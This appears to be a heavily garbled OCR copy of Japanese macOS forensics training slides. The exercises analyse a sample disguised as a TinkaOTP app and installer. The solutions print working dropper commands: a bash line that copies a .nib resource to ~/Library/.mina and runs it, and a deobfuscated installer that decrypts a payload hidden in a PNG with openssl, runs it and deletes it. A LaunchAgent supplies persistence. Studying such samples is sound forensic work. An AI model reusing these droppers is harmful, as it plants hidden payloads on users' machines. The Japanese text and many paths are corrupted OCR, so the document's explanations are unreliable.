TinkaOTP InstallerzZE{1TUTE

System/Applications/System Preferences.app
system/Liprary Sarvices/installer.app

system/Applications/Utllitles) Disk Utllityapp

Uulg=FDr Z C3-4E5A-BZA3-ECD12EADT

uuld=67999708-21E6-4713-9818-C5C232

A4B7

macforensics
macforensics
macforensics
macforensics
macforensics
macforensics
macforensics

macforensics

Jusers/macforensics/Library/Application Support/com.applesharedfilellst/com.apple.LSSharedFlleList.RecentApplications.sfi2
JUsers/macforensics/Library Application Support/com.applesharedfilellst/com.apple.LSSharedFlleList. RecentApplications.sfl2
[Jsers/macforensics/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfi2
Jusers/macforensics/Library/Application Support/com.applesharedfilellst/com.apple.LSSharedFlleList.RecentApplications.sfi2
Jusers/macforensics/Library/Application Support/com.applesharedfilellst/com.apple.LSSharedFlleList.RecentApplications.sfi2
JUsersfmactorensics/Library/Application Supportjcem.applesharedfilelist/com.appleLSSharedFileList.RecentApplications.sfl2

Jjusers/macforensics/Library Application Suppert/cem.appleshareafiielistycom.apple.LSsharedFlleList.Recentapplications.stiz

Jusers/macforensics/Library/Application Support/com.applesharedfilellst/com.apple.LSSharedFlleList.RecentApplications.sfi2
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Type

VOLUME

VOLUME
VOLUME
VOLUME
VOLUME
VOLUME
VOLUME
VOLUME
VOLUME
VOLUME
VOLUME
VOLUME

VOLUME

D Fiter
macO$ Catallna 10.15.5 Update
TinkaOTP
VMware To

Installer

Macintosh HD

VMware Tool:
macO$ Catallna 10.15.5 Update
Installer

TinkaoTP

2CLVD

Fllter

macOS Catallna 10.15.5 Update_0x1.23f3cBe8p+29

TinkaOTF_0x1.21ac17eBp+29
VMware To (1.18ddb31p+29

Installer _ .39BBaZcBZep+i?

Volumes/VMware Tools
Vaolumes/macOS Catalina 10.15.5 Update
Volumes/installer

Volumes/TinkaOTP

Fllter

FXDesktopVolumeP osltlons, vol_created_date=2020-05-...
FXDesktopVolumeP ositlons, vol_created_date=2020-04-...
FXDesktopVolumeP ositlons, vol_created_date=2019-0:

FXDeskiopVolumer ositlons, vol_created_date=2021-11-

uuld=4FF45885-D33E-4A6A-BCF7-3BC120468091

uuld=1FD496AZ-F

uuld=BDEAA

uulc

uuld=DFYC7COE-36B2-47FD-323

uuld=BF 5BASD5-0B!

764-8947-E9BFSATC
13790-FGA3-4829-86FD-6ABFZTCEATED

B171E7-4ZBA-405A-8BF5-14B2B640DF728

® mac_apt.db : Recentltems - VOLUME

User

Fliter

macforensics

macforensics

macforens!

macforensic

macforens

macforensic

macforens!

macforens!

macforens

macforensic

macforens!

macforens!

O CTITERY 1~ LRI NENTEEEER

Source
Fllter
JUsersfmacforensics/Library/Preterences/com.apple.finder.plist
JUsersfmacforensics/Library/Preterences/com.apple.finder.plist
JUsers/macforensics/Library/Preferences/com.apple.finder.plist

Jjusersfmactorensics/Library/Preferences/com.apple.finder.plist

A Y

JUsers/mactorensics/Library/Application Support/com.apple.sharedfilellst/com.apple.LSSharedFlleList.Favoritevolumes

JUsers/mactorensics/Library/Application Support/com.apple.sharedfilellst/com.apple.LSSharedFlleList.Favoritevolumes

JUsers/macforensics/Library/Application Support/com.apple.sharedfilellst/com.apple.LSSharedFlleList.Favoritevelumes

fUsersfmacforensics/Library/Application Support/com.apple.sharedfilelisti/com.apple.LSSharedFlleList.FavoriteVolumes

JUsers/mactorensics/Library/Application Support/com.apple.sharedfilellst/com.apple.LSSharedFlleList.Favoritevolumes

JUsers/mactorensics/Library/Application Support/com.apple.sharedfilellst/com.apple.LSSharedFlleList.Favoritevolumes

JUsersfmactoren: /LibraryfApplication Suppert/com.apple.sharedfilelist/com.apple.LSSharedFlleList.FavoriteVolumes

fUsersfmacforensics/Library/Application Support/com.apple.sharedfilelisti/com.apple.LSSharedFlleList.FavoriteVolumes
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® mac_apt.db : Recentltems - PLACE

O oFinderC¥9> &N fzinstallerrh)1— A%
=izl

PLACE &) Filter Filter

User

Fliter Fliter
FLACE Utllitles (applications/Utlitles MNSNavRecentPlaces macforensics  /Usersjmacforensics/Library/Preferences/. GlobalPreferences.plist
PLACE pplications| RecentMoveAndCopyDestinations macforensics  fUsersjmacforensics/Library/Preferences/com.applefinder_plist
PLACE staller Volumes/install FXRecentFolders macforensics [Usersfmactorensics/LibraryPreferences/com.applefinder.plist
PLACE applications Applications F entFolders macforensics  fUsersjmacforensics/Library/Preferences/com.applefinder_plist
FLACE Downloads Users/mactorensics/Downloads FXRecentFolders macforensics  [Users/macforensics/Library/Preferences/com.apple finder_plist
PLACE WMware Tools Volumes|vMware Tools FXRecentFolders macforensics  fUsersjmacforensics/Library/Preferences/com.applefinder_plist

FLACE macO3s Catallna 10.15.5 Update  Volumes/macOs Catalina 10.15.5 Update

FXRecentFolders mactorensics  /Users/macforensics/Library/Preferences/com.applefinder_plist
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e mac_apt.db : InstallHistory, SpotlightShortcuts

()

) e InstallHistory, SpotlightShortcuts(C(3IE
i) {2V )

Table: [ InstallHistory B = 2 Al B by

i3

ContentType & Display Mame E'IS[IlEI'[.I"\"ﬂFﬂCIFI Packageldentitlers ProcessName Source

Fllter Fllte Fllter Fllter Flltar Flltar Flltar
2019-10-25 07:52:08 VMware Toaols comymwareiools.macos.pkg. flles Installer [LIbraryRecelpts/installHistory plist
2021-08-05 08:23115  macO5 Catalina 10.15.5 Update com.applepkg.macOsSBrain softwareupdated  /LibrangRecelpts/IinstallHistory.plist

2021-11-25 04:01:07  Command Line Tools for Xcode 12 comapple pkg. CLTools_Executables, ... softwareupdated  [Library/Recelpts/installHistoryplist

Table: || SpotlightShortcuts 8 = 4 = = &) i |

R
Usar UserTyped EI|E|Z!-|E§."P-JEF'I'IE LastUsed URL Source
Fillter Fllter Fllter Fllter Fllter

1 macforensics  disk Disk Utllity 2019-10-25 0B:06:33  [System/Applications/Utllitles/Disk Utllityapp  JUsersjmactforensics/Libraryapplication Supperty) ..

157




® CZEFTOIMLIA1> (1/2)

2021-11-25 04:41:22.660911

2021-11-25 04:41:27.593697

2021-11-25 04:41:34.416693

2021-11-25 04:41:37.924145

2021-11-25 04:41:38.114360

2021-11-25 04:41:40.842618

2021-11-25 04:41:40.892716

/Users/macforensics/Downloads/Installer.dmg {ER%
(http://www.2fa.test/download/Installer.dmg h'5SafariC4>0—R)

/Users/macforensics/Downloads/Installer.dmg ¥~ NG

Installer YO>I~ (apfs)

TinkaOTP Installer 24T (Finderh5)

/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 3247
/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3viUms E1T

/Users/macforensics/Downloads/TinkaOTP.dmg fER%




® CCETODIMLIA> (2/2)

2021-11-25 04:41:44.076904

2021-11-25 04:41:44.097888

2021-11-25 04:41:44.355439

2021-11-25 04:41:44.446290

2021-11-25 04:41:45.360051

2021-11-25 04:41:45.398062

2021-11-25 04:41:45.406457

2021-11-25 04:41:59.291558

TinkaOTP Y b (hfs)

/Applications/TinkaOTP.app /ER%

TinkaOTP 7>NXD> b (hfs)

TinkaOTP 3217 (opendN> RH5)

/User/macforensics/Library/.mina YEBk

/Users/macforensics/Library/.mina 3£47
/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist £EBk

Installer 7>ND> I (apfs)




CCETOIA LFAARDIRD

° http://www.2fa.test/download/Installer.dmg H'5
Installerdmg’a’:’S’T/D NUR T{Z’J’(X—/E?'?/l\

° D> hUTEN)1—L(/Volumes/Installer) h'5
TinkaOTP Installerz=E1T

° I NIRBBIDT AN ZFEITH. TinkaOTP.dmgh'E
Iy g

°TinkaOTPARU1—ADNI>MME, s
/Applications/TinkaOTP.appMERNE LU EITEND

°TinkaOTP Installer®E1Th5, N=> X7 ADVERE
T8 T TLTLBIesh. CORINIIR(FBEEITITN
nrcelgelEn=0
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a Exercise 3: .minaDf&Ztq
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SEOLL TP LOEEIE (1/2)

o CCFTOEEMCTLAT DDLUV I7A IV R DHOIL
= /Users/macforensics/Library/.mina
= /Applications/TinkaOTP.app
= /Users/macforensics/Downloads/TinkaOPT.dmg

= /var/folders/yb/qc221tgs12z203pjg52r40m40000gn/T/Inst
allerjv3vilUms

= /Volumes/Installer/TinkaOTP Installer.app
= /Users/macforensics/Downloads/Installer.dmg

o FERDI7A )UFexported_filesIAL A (B

* LR OI7AINETARIAA=DAIAFFELIR DI

> /var/folders/yb/qc22Itgs12z203pjg52r40m40000gn/T/Installer.jv3v
IlUms

» /Volumes/Installer/TinkaOTP Installer.app
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SEOLV TP O (2/2)

oL L©IAINBEZH5NZT0 5 LDORERE
" TinkaOTP Installer
> 1-H—(CLoTHI>O- RELUEITENTE
> TinkaOTPZAD>O—RELIEROYT (?)
" TinkaOTP
> BEIHY(CEITESNE (?)
> minaZzA>0-RELIEROYT (?)
" mina
> BEIHY(CEI TSN (?)
> NS RFIREEEER (?)
> IVIITAERAE (?)

° (?) OIEEHZMEELTLK
o NN=3 AT AVERRIERIICEITINI .mina hoE#T9 35
= [ minall&l _minal TIREFELTL\B
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()

.mina®#&FHT (1/8) -

) o NFHIRZR
= stringsJd¥ > RET. .minaf/N\—=>AF>ADT7A
IBZFF O TVIIMEER T D
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) o BIRYEEMT (macOS VMA®3BA) (1)

- macOS VMTELF OOV Ml 2 DH—=F IS
X179 %

I % sudo ./ProcessMonitor.app/Contents/Mac0S/ProcessMonitor > mina_procmon.json I

|
I % sudo ./FileMonitor.app/Contents/MacOS/FileMonitor > mina_filemon.json I

= SHICHIDA—ZFILHS. minaz=E1T9 D
» minaldZFBaICVMICIE-UTHL

()

% chmod +x _mina
% ./_mina
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()

.mina®#&EHT (3/8) -

) o ENRVEEMNT (macOS VMA‘®DA)  (2)
- _minaDETR. 10MIEERBEUIS. Ctrl+CT
ProcessMonitor, FileMonitorz{S1E93
= mina_procmon.json, mina_filemon.jsonZjqC

BETI B
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()

.mina®f&EHT (4/8) -

) <BIEVERAT (macOS VMBHRLA)

« jsonJAILAIARDLL T DISONT7A IV Z2jq CRRAT S
D

> mina_procmon.json
» mina_filemon.json
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O o BNEVERAT
* mina_procmon.json
> minaMBEOTOCAZREEL TCLVINFATITS
» eventh A T OHD
o ES_EVENT_TYPE_NOTIFY_EXEC
e ES_EVENT_TYPE_NOTIFY_FORK
= mina_filemon.json
» mina I\ —=> A7 2 T74 )2 ERR U TVB N AT I D
»eventh A TOED
o ES_EVENT_TYPE_NOTIFY_CREATE

.mina®#E#T (5/8) -
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.mina®fZAfT (6/8) -

O emina_procmon.jsonMDiEE (1)
= _mina®PIDZEHANDB

.event | endswith("EXEC"))) 'l json/mina_procmon.json 2>/dev/null

AR NEHTEXECITHEND

% jq '. | select((.process.name == "_mina")

"nrocess" .

"pid":

: Users/macforensics/Downloads/_mina",
"uid": 501,
"architecture": "Intel",
"arguments": [
"./_mina"

JOt2&h_minal

"rpid": o,
"ancestors": [
339,
1

]J
(snip)
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.mina®fE&Etfr (7/8)

) omina_procmon.jsonDiEE (2)

- PPIDH" mlnad)PID'CEliZathZ%iuﬂ/\Za

%3a . | s

elect(.pro

»PID = 803

» AR NEADTEXECIES(XIFORKITHENS
- fork U CL\BIZE . TOPIDICOTU CHEERICGEE
953
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.mina®fE##T (8/8)

O omina_filemon jsonD:AE

g mlnabWIEESZ@'ZﬂT’f )Vfiuﬂf\é

select(.file.pro d(.event | endswith("CREATE")))' json/mina_filem

n.json 2>/dev/null

7'( ) I/S’ U /’] 7|<'f£|:
» JOTRAENM _minal
» AN\ NN CREATEITHEN S
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Solutions to
Exercise 3




.mina®f&Etfr (1/5)

L IR

% strings -a ./exported_files/ mina | grep com.aex-loop.agent.plist
/Library/LaunchAgents/com.aex-loop.agent.plist
/Library/LaunchDaemons/com.aex-loop.agent.plist

- N=2 AT ZAT7AINDXF5NEFFOTLD
= .minaN\—=>RFT AT EERLL TS
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.mina®fEZAfT (2/6)

) o BYRYAZAT (1) _

= mina®PIDZIER

()

% jq '. | select(.process.name == "_mina" and (.event | endswith("EXEC")))' json/mina_procmon.json 2>/dev/null

"event": "ES_EVENT_TYPE_NOTIFY_EXEC",
"timestamp": "2021-12-14 06:14:40 +0000",
"process": {
"pid": 83,
"name": "_mina",
"path": "/Users/macforensics/Downloads/_mina",
"uid": 501,
"architecture”: "Intel",
"arguments": [
"./_mina"
1,
"ppid": 789,
"rpid": o,
"ancestors": [
339,
1
1,
(snip)
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.mina®f#ZAfT (3/6)

? - BIEVEEAT (2)

* minahSETINETIOCROEE

% jgq '. | select(.process.ppid == 803 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null
{

"event": "ES_EVENT_TYPE_NOTIFY_FORK",

"timestamp”: "2021-12-14 ©6:14:40 +0000",

"pr'nrncc" . I_
"pid": 865,
“name”: _mina",
"path": "/Users/macforensics/Downloads/_mina",
"uid": 501,
"architecture": "Intel",
"arguments": [],
"ppid": 803,
"rpid": o,
"ancestors": [
339,
1
]J
(snip)

= fork() U TLBN, o TOTR (FHEENL TLVERL
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.mina®fZAfT (4/6)

) o EIRVEEAT (3)
- fork(OUIeJ O ADFAE

% jq '. | select(.process.pid == 805 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null
{

()

"event": "ES_EVENT_TYPE_NOTIFY_FORK",
"timestamp": "2021-12-14 06:14:40 +0000",
"process": {
T S —_ w e AN w
i s, HIDASA RERUARY
name": "_mina",
"path": "/Users/macforensics/Downloads/_mina",
"uid": 501,
"architecture": "Intel",
(snip)

I % jq '. | select(.process.ppid == 805 and (.event | (endswith("EXEC") or endswith("FORK"))))' json/mina_procmon.json 2>/dev/null I

- . minaMPBSEITINBTOTRIZE LS50
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.mina®#E#T (5/6)

) BRIARAT (4)
- TP IV OVERAIR R T 3

()

% jq '. | select((.file.process.name == "_mina") and (.event | endswith("CREATE")))' json/mina_filemon.json 2>/dev/null
{
"event": "ES_EVENT_TYPE_NOTIFY_CREATE",
"timestamp": "2021-12-14 06:14:40 +0000",

=T AT TIERL

"file": { N
"destination":| "/Users/macforensics/Library/Caches/com.apple.appstore.db”, 77’()L%’f’ﬁﬁ§bfb\5
"process": {

"pid": 805,
"name": "_mina",
(snip)

- BIRVEEMT C L, IN=2RT DX T71 IV OBt
TERVN T —BEIDAEZEDD
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()

.minaDfE&Etf (6/6)

) o.minaDFEATHE SR
- BIMARATOFSER T, BloTJOtR(IFESILRL

= BIRYERAT T, IN—> AT X074 )V OVERY H SR
SHLTULVRULD, Eé{ﬂi@éﬂﬂ’\]ﬁﬁﬁ‘é(iii@wﬁb@
VIRERA S B RTEETEN 3D
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@ Exercise 4: TinkaOTP.appDf#tfT

159



e TinkaOTP.appDfi#tT (1/4)

O ALLTAMBRT, TinkaOTP.appl&
TlnkaOTP dmgDI71( )L THhDeIEEE
=
mdSSum:I?/ RET/\W> 1BZ{E>ThHESRL TH
)

« macOSICIEmMd5sumIY> RIEBRVD T, brewZT
AAN=ITDIRNEHHD
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e TinkaOTP.appDf#tT (2/4)

hdiutil attach ~/Desktop/exported_files/TinkaOTP.dmg

cd /Volumes/TinkaOTP/TinkaOTP.app; find . -type f -exec md5sum {} ¥; > ~/Desktop/hash.txt; cd ~/Desktop/
hdiutil eject /Volumes/TinkaOTP

cd ~/Desktop/exported_files/TinkaOTP.app; md5sum -c ~/Desktop/hash.txt

./Contents/_CodeSignature/CodeResources: OK
./Contents/Frameworks/libswiftCore.dylib: OK
./Contents/Frameworks/libswiftCoreFoundation.dylib: OK
./Contents/Frameworks/libswiftCoreGraphics.dylib: OK
./Contents/Frameworks/libswiftDarwin.dylib: OK
./Contents/Frameworks/libswiftDispatch.dylib: OK
./Contents/Frameworks/libswiftFoundation.dylib: OK
./Contents/Frameworks/libswiftIOKit.dylib: OK
./Contents/Frameworks/libswiftObjectiveC.dylib: OK
./Contents/Info.plist: OK

./Contents/Mac0S/TinkaOTP: OK

./Contents/PkgInfo: OK
./Contents/Resources/AppIcon.icns: OK
./Contents/Resources/Assets.car: OK
./Contents/Resources/Base.lproj/MainMenu.nib: OK
./Contents/Resources/Base.lproj/SubMenu.nib: OK
./Contents/Resources/en.lproj/InfoPlist.strings: OK
./Contents/Resources/en.lproj/Localizable.strings: OK
./Contents/Resources/en.lproj/MainMenu.strings: OK
./Contents/Resources/Info.plist: OK
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195Y

e TinkaOTP.appDf#tr (3/4)

o X FHIRER
= TinkaOTPH .minalBaEENH D EZMEERT D
» TinkaOTP.app/Contents/MacOS/TinkaOTP

. BT
= TinkaOTPH .minaZEDNLSICERK T DNHEERT S
= Z{gFNE(FRR->

* macOS VMB WA (EjsonTAILFARD
tinkaotp_procmon.json, tinkaotp_filemon. jsonZiA& IS

—ILBLU=

EE(E. .minaDiZEERU
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()

e TinkaOTP.appDfi#tT (4/4)

) o BRYERAT
* TinkaOTP.dmgZVMICIE—-U T, TARIA A=
ZNI> b~
= dmgAIDTinkaOTP.appZiE = RGF(CIE —
» ProcessMonitor&FileMonitoraSE{TUIRIEIC,
TinkaOTP.appZ3E1T9 5
» Finderh*5TinkaOTP.appz 4 JIL7Uw%
» FleldopendN > RTELT

% open

./exported_files/TinkaOTP.app
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Solutions to
Exercise 4




e TinkaOTP.appDf#tT (1/4)

L IR

% strings -a ./exported_files/TinkaOTP.app/Contents/Mac0S/TinkaOTP | grep -F .mina
~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null
2>8&1

- ~/Library/.mina®=E{TEY MRTEL T, E1T9 5

« COIN> ROBIOALIR(E 3B LN, BESL
TinkaOTPH .minaz4>0— REfz(ZROVvILTLY
2
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e TinkaOTP.appDfi#tT (2/4)

) o EIRVEEAT (1)
- JOCROEITIN R MR T B

()

% jq '. | select(.process.name == "TinkaOTP")' ./json/tinkaotp_procmon.json 2>/dev/null
{
"event": "ES_EVENT_TYPE_NOTIFY_EXEC",
"timestamp": "2021-12-15 06:08:34 +0000",
"process": {
"pid": 1132,
"name": "TinkaOTP",
"path": "/Users/macforensics/Desktop/TinkaOTP.app/Contents/Mac0S/TinkaOTP",
(snip)
} — "~ =| W
{ fork )L TWBADT. CBEH5BEAND

"event": "ES EVENT TYPE NOTIFY FORK"
"timestamp": "2021-12-15 06:08:34 +0000",
"process": {

"pid": 1133,

"name": "TinkaOTP",

"path": "/Users/macforensics/Desktop/TinkaOTP.app/Contents/Mac0S/TinkaOTP",

(snip)

}

LWAY




e TinkaOTP.appDfi#tT (3/4)

) o BIRYAZAT (2)

= PID = 1132

()

% jq '. | select(.process.pid == 1132)' ./json/tinkaotp_procmon.json 2>/dev/null
{
"event": "ES_EVENT_TYPE_NOTIFY_FORK",
"timestamp": "2021-12-15 06:08:33 +0000",
"process": {
"pid": 1132,
"name": "launchd",
"path": "/sbin/launchd",
"uid": o,
(snip)

= BFCREDUWENME(LEEERS N TLRL)
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e TinkaOTP.appDfi#tT (4/4)

) o BIRVERAT (3)

= PID = 1133

()

% jq '. | select(.process.pid == 1133)' ./json/tinkaotp_procmon.json 2>/dev/null

(snip)

{
"event": "ES_EVENT_TYPE_NOTIFY_EXEC",

"timestamp": "2021-12-15 06:08:34 +0000",
"process": {
"pid": 1133,
"name": "bash",
"path": "/bin/bash",
"uid": 501,
"architecture": "Intel",
"arsuments”: [
"/bin/bash",
noer,
"cp /Users/macforensics/Desktop/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null
2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1"
1s
"ppid": 1132,

(snip)

TinkaOTP.appPIDI74/ILZIE-L T, .minakLTEITL TS
.mina% ROVIUTWARZENFEEL




@ CCETDALLTAY (1/2)

2021-11-25 04:41:22.660911

2021-11-25 04:41:27.593697

2021-11-25 04:41:34.416693

2021-11-25 04:41:37.924145

2021-11-25 04:41:38.114360

2021-11-25 04:41:40.842618

2021-11-25 04:41:40.892716

/Users/macforensics/Downloads/Installer.dmg {EBk
(http://www.2fa.test/download/Installer.dmg h'5SafariC49>0—R)

/Users/macforensics/Downloads/Installer.dmg X9 b (AREERHIR)

Installer X2/ I (apfs)

TinkaOTP Installer 24T (Finderh5)

/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 3247
/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3viUms E1T

/Users/macforensics/Downloads/TinkaOTP.dmg /ER%




® CCETODIMLIA> (2/2)

2021-11-25 04:41:44.076904

2021-11-25 04:41:44.097888

2021-11-25 04:41:44.355439

2021-11-25 04:41:44.446290

2021-11-25 04:41:45.360051

2021-11-25 04:41:45.398062

2021-11-25 04:41:45.406457

2021-11-25 04:41:59.291558

TinkaOTP Y b (hfs)

/Applications/TinkaOTP.app YER% (TinkaOTP.dmgIDT7A)LEED)
TinkaOTP 7>XJ> b (hfs)

TinkaOTP 3217 (opendN> RH5)
/User/macforensics/Library/.mina fEB% (TinkaOTPA'ROY)
/Users/macforensics/Library/.mina 3817 (TinkaOTPH'3E1T)

/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist YEB (.minah'/E
L TW3(ET..)

Installer 7>ND> b (apfs)




()

o CIFTODHMLIAARNIRD

) < TinkaOTP.appDERATHEER
- TinkaOTP.appH*.mina%z ROVIULTEITI S
» TinkaOTP.dmgDERH LU ETT 3 A(TAHA
» TinkaOTP.dmgh"ER SN BIERIICY I > bt
Installer.dmgZ 2t I 2AEN DD
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a Exercise 5: Installer.dmgDEZAT
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e Installer.dmg®f#AT (1/2)

O cALLIAONMBRT. TinkaOTP

Installer.appldinstaller.dmgPCHdEE

A5N3

= NolumesEA T DIT7A)UET A ATA A =T ATTRL
D THEER (L TSR0

- AUHDTHDEARTEL THEATZESDD
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C

IRPR— (enas0n ]

) o MFHIIRER . BNRIEET
= TinkaOTP.dmgDE R T/ EEEIT R IEZ R T D
> Installer.dmgZz~7J> MU TERATZ1TS
e /Volumes/TinkaOTP Installer/TinkaOTP
Installer.app/Contents/MacOS/TinkaOTP Installer
> gacOS VMOV T OIANAIRDT A )\ = RS
e exported_files/TinkaOTP
Installer.app/Contents/MacOS/TinkaOTP Installer
rEVN L INFTERUGETONSRWMGEEIrAIINAIALT
U CHd

174



Solutions to
Exercise 5




Installer.dmg®4T (1/10)

? o X FHIIRER

* TinkaOTPDIZFFIH L)

% hdiutil attach ./exported files/Installer.dmg
% strings -a /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Mac0S/TinkaOTP¥ Installer | grep TinkaOTP

« J7AIWNAATZ MRS DE Mach-ONAFUT(F RS T
JVAD)T K

/Volumes/Installer/TinkaOTP Installer.app/Contents/Mac0S/TinkaOTP Installer: Bourne-Again shell script text

% file /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer
executable, ASCII text, with very long lines

s RIS TAIMNITAE-U T, Z0HEITEY R
LY

% cp /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer ~/Desktop/exported files/
% chmod -x ~/Desktop/exported_files/TinkaOTP¥ Installer




()

Installer.dmg®f#4T (2/10)

) o BIRHBLUFRBIERAT (1)

- TFARIT (A THEER I DEEETESNTLS

TinkaOTP Installer

5 TinkaOTP Installer x

2sh << 'wtTiU8sy'

vGxw2="echo" ;qSDm67dnEPRY="T73\U0BAO6EY ' ;m29rNBEAZWTC="72\UBOB63\U6" ; BFHSmrxKZ11="69\L6e\U6b\UBOE" ;
DnR7w2K6="008604U861Y ' ;aqclyyB8T7P54="00061\UB69Y ' ; xDx1rVilh="08U2d\Us" ; xbgwAA="000022\U000E0" ;
He7Zgeps="\U0BO6c\UE5\U72\U" ; cIeEaNuNjsIG="3\U03a\U0EAOA5" ;nsinNg="0072\U2" ; jHMBcIzjr="000062\U00EEE" ;
EGdydBwb="00861%U806c\UBBA" ; 1WT="4U008434U86 "' ; XNPVzq="5%U" ; fVv94DJ0S0nxN="T72\Uapaaeasf\U" ;
gal="e87d\Ueee80e22 " ; sKjmA78s99="0822\U00020U00° ; JKXMNiZZAT="0003e\UBBOE ' ; qGkxa="26%\U";
MaWsITp='0008504U5" ; HGzI{7iht="'U000062\U0006 ' ;Vv5BgDwg="\U0000863 \Ué" ; LSm="U0075\Uas6d\";
jIGEZTNla="6\U0002d\UBBEEGG ' ; sHAPGP1]="06e\UBBBTSY ' ;SdszMIuFg="0674\U28\U882d "' ;BROLidDACuBt=""U000886" ;
Xc2="-g’;Q8Uh="6\UB00B0E34\U" ;M5xRCXtbpV="69" ' ; JByPULXmOUGS="\U8EE0E" ; TCRINcGIId="54\U88’ ;
gvEhFBwkw="4£\U0054U00E0A50" ; hKU="\U6c\UBOBO ' ;ucMegg="\UB6b\U" ;qFSTGTg7L7="0067\U020\";
bkXbBr59oINg="c\UBB65\UBT2\UBE ' ; 16eVolyTyZ0OL="3U88"; InIq2wlYy="Ub000BE22 \UB4E\U4" ;11e="0B6c\";
H5d5zqDs9="74\ U065\ UB6e\UBBT ' ; CAYaL15GtAs1="074 U800 " ;UjI870K="4\Usest\Uea" ; Fi90Z4RFIG="45\Uaa7d\ue" ;
ixwnbaZOXLx="'874\U020 U022\ "' ; BvBc="U4E\US" ;1pQ4rcKu="U026\U0026\U020" ; rmn5tYs="2e\U7a\U6e\UBGT " ;
TKFGStMOX1VK="U08" ; hEZCI6D="d"\U45\U0a87d\U" ; CySOFF="854\80000045\U8" ; nowWBIPwz="U08";
PRRDQYy4bIQu="'860827\ "' ; TLKF1AEepqcD="8831";GvSs15RHUman="22\U80a" ; R2kydi="2\U";BPubz2mgct="c\UBEG" ;

k4 AwB8Kmd="'UB63\U800806e \U" ; az97pl="\U0000002 ' ; xbfUWSShONF="6b\" ; UVIhGEM="'UD020\ U649 \Use\ LB " ;
BgE="00020\Ue002d\U74\ ' ; prFXHe6V="00020\U000"' ;VTQhit="'5\Ue0000873\U2fY ' ;YF3crQB7a5hv="72\U";
aPKoAgR="06820%18802d\UB63Y ' ; y5E6="0061\U06c\UBOBEE " ;NETeNNFgdN="0862";v8blzZ="3\U0E0EE002d\ ' ;

PAT- 1A HESL HIAOAOACFL | s FafadT LA ' IO 1 EF ashsanCd— ! £F HAOAAT « i Taka | OV HAA ! «Nd | TYDSOTA= 1A=L 1 =

m
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()

Installer.dmg®##4T (3/10)

) < BB LUFREVERHT (2)
- TZI0> 72T CEIR

coee® TinkaOTP Installer
$ TinkaOTP Installer » 2y [
s
5 Aa ab, | *| Noresults = X |
2sh << 'wtTilgsy' ) . Horesul
vGxw2="echo' \n AB & &

qSDm67dnEPRY="73\U000RES, '

5  m29rNBEA2wTC='72\UB0063\U6"
BFHSMrxKZ11="69\Uée\U6b\L0RE"
DnR7w2Ké="' 0006061 '
aqclyy87P54="00061\U069\ '
xDx1rV11lh="0\U2d\ U "
xbgwAA='000022\U00000"
He7Zgeps="\U0006c\U65\UT2\U"
cTeEaNuNisIG="3\U03a\U0000A5"
nsinNg='0072\U2"
jHMBeIzr="'000062\U00000"
EGdydBwb="'08661\U806c\ U0 "
1WT="\U88043\U8s "
XNPVzg="5\U"
FV94D§0S0nxN="72\U000B006E\U"
gal='007d\00000022"

eWdmd TH00="AS3IY HAOATEN 1AM
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Installer.dmg®f#4T (4/10)

- IR E JURERIEEAT (3)

LN | TinkaOTP Installer_mod

T+ TinkaOTP Installer_mod x
T

{0hbé3M1n} ${TIKF1AEepqcD}$ifnCg216d0E${QyqBrHMgqse} ${XysTG8vel $iCcFalulziqt${n1FhZGEKKI}${0LYuN1mbyH}$
{Chqli$irxvSgeeBl$1EI392mZ6Xg ${18sMMyodtgBHE $IXATMQI04q9cY F${11EVWobpm}${1223${EudKSOeRSE $ixGBeVS
FhE7raanidifiuiel BRHIImant )
# $($ivexw2} ${Xc2l $iC4dXBrIm}i$ioabtXMiS{UNGE2TLvvE| rev) $Ihjr2

377 echo $($ivGxw2} $iXc2} ${CAdXBrImif{oabtXM}$iUNGE2TILvvE| rev) $.'_|hjr21
wtTil8sy

%’EEMIS&TL'CL%Z’]UTI\@ 7/3 (=
BR1&(C eval TIEESSNAIUT Mz

£1793) f’i—)b‘%b\@tx
BEODITR echo THTUTHD

[EE)
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Installer.dmg®f##t (5/10)

()

) BB LUEEIIEFEAT (4)
AZIEUR AT NEVM ETEITUT. A TIT3R
SuERID

% chmod +x ~/Desktop/exported files/TinkaOTP¥ Installer_mod ApoleScript
% ~/Desktop/exported_files/TinkaOTP¥ Installer_mod PP p
eval #!/bin/bash

osascript -e 'set popup to display dialog "Thanks for installing our product!!" with icon file
"Volumes:Installer:TinkaOTP Installer.app:Contents:Resources:TinkaOTP.icns" with title "TinkaOTP Installer"
buttons {"OK"}'

TEMP_NAME="$ (mktemp -t Installer)"

tail -c -8448 /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes-
256-cbc -salt -md md5 -d -A -base64 -out "${TEMP_NAME}" -pass 'pass:UdIm~Kd1$bOd[&E="' && chmod +x
"${TEMP_NAME}" &% "${TEMP_NAME}" > /dev/null 2>&1 &% rm -rf "${TEMP_NAME}"
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()

e Installer.dmg®f##T (6/10)

) o BB LUFREVERAT (5)
= AppleScriptzRiTI LU T DI 7O HERRS
n3

TinkaOTP Installer

Thanks for installing our product!!
OK
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Installer.dmg®f##t (7/10)

O BN BLUFREVEFAT (6)
- STV AIVT NER D OB E

» TinkaOTP.pngD1#&A3h'58448/\1 hMrEHU T, AESTHE
S{tENlcT —5%ZopenssITIES IS

P82 UIT —AETOMIUITAINAICT DA LR BT CH AU
T, EITRICHIBR IS

» macOSDTMIUTAIA (E/tmpTIERL
